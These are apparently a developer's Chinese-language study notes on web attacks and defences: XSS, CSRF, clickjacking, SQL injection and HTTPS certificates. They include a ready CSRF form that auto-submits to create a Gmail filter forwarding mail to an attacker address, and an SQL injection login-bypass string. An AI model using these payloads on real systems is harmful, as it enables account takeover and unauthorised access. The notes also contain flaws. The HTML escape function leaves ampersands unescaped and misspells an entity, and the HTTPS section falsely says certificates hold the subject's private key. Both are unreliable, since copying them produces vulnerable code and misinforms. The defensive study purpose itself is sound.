Web 相关编码

URL 编码

  • encodeURI
  • encodeURIComponent

HTML 编码

戳 👈

JS 编码

XSS 跨站脚本攻击

Cross-Site Scripting

  1. 反射型（非持久型）诱导点击带有恶意脚本代码参数的链接
  2. 存储型（持久型）发一篇带有恶意脚本代码的公众文章给用户浏览
  3. DOM-Based 型

现代框架默认会屏蔽 XSS 攻击，除非手动开启

  • Vue v-html
  • React dangerouslySetInnerHTML

escape 转义

1
2
3
4
5
6
7
8
9
10
11
// require('escape-html')
function escape(str) {
  str = str.replace(/&/g, '&')
  str = str.replace(/</g, '&lt;')
  str = str.replace(/>/g, '&gt;')
  str = str.replace(/"/g, '&quto;')
  str = str.replace(/'/g, '&#39;')
  str = str.replace(/`/g, '&#96;')
  str = str.replace(/\//g, '&#x2F;')
  return str
}

白名单

1
require('xss')

CSP

CSRF 跨站请求伪造

Cross-Site Request Forgery

请看下面的故事：

  • 小明登录了 Gmail 邮箱，收到一封广告邮件 “转让比特币，只要 998”
  • 小明抱着好奇的心态点开看了看，发现是个空白页面，就关闭了

但此时，攻击已经完成了。黑客在这个空白页面设置了 js 代码，会让小明的邮件都转发到 hacker@hackermail.com

因为小明已经登录了 Gmail ，有了 Gmail 的 cookie。所以再去请求 Gmail API 就会带着 cookie ，就有可能成功

邮件经常用来接收验证码，这是很危险的事情

当然了，后来 Gmail 修复了这个漏洞。但新的故事仍在不断发生中

1
2
3
4
5
6
7
8
9
10
11
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data">
  <input type="hidden" name="cf2_emc" value="true" />
  <input type="hidden" name="cf2_email" value="hacker@hakermail.com" />
  ...
  <input type="hidden" name="irf" value="on" />
  <input type="hidden" name="nvp_bu_cftb" value="Create Filter" />
</form>
<script>
  /* get 请求如果用 img.src 还可以规避跨域，更加危险 */
  document.forms[0].submit()
</script>
  • 对 Cookie 设置 SameSite 属性 Set-Cookie: key=val; SameSite=Strict;
  • 验证 Referer document.referrer
  • token、验证码、Authorization 令牌

蠕虫

XSS + CSRF

ClickJacking 点击劫持

  1. X-FRAME-OPTIONS

    • DENY 表示页面不允许通过 iframe 的方式展示
    • SAMEORIGIN 表示页面可以在相同域名下通过 iframe 的方式展示
    • ALLOW-FROM 表示页面可以在指定来源的 iframe 中展示

  2. JS 防御

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <head>
    <style id="click-jack">
       html {
         display: none !important;
       }
    </style>
    </head>
    <body>
    <script>
       if (top.location.hostname === self.location.hostname) {
         const style = document.getElementById('click-jack')
         document.body.removeChild(style)
       } else {
         top.location.href = self.location.href
       }
    </script>
    </body>

DDOS 攻击

Distributed Denial-of-service 分布式拒绝服务 👈

SQL 注入

1
select * from users where username='Bobo' and password='' or true --'

DNS 劫持、HTTP 劫持

HTTPS

HTTPS 中间人攻击

CA证书包括：签发者、证书用途、使用者公钥、使用者私钥、使用者的HASH算法、证书到期时间等

中间人篡改证书？🤔️
数字签名: 用 CA 自带的 HASH 算法对证书的内容进行 HASH 得到一个摘要，再用 CA 的私钥加密，最终组成数字签名
当别人把证书发过来的时候，再用同样的 Hash 算法，再次生成消息摘要，然后用 CA 的公钥对数字签名解密，得到 CA 创建的消息摘要，两者一比，就知道中间有没有被人篡改了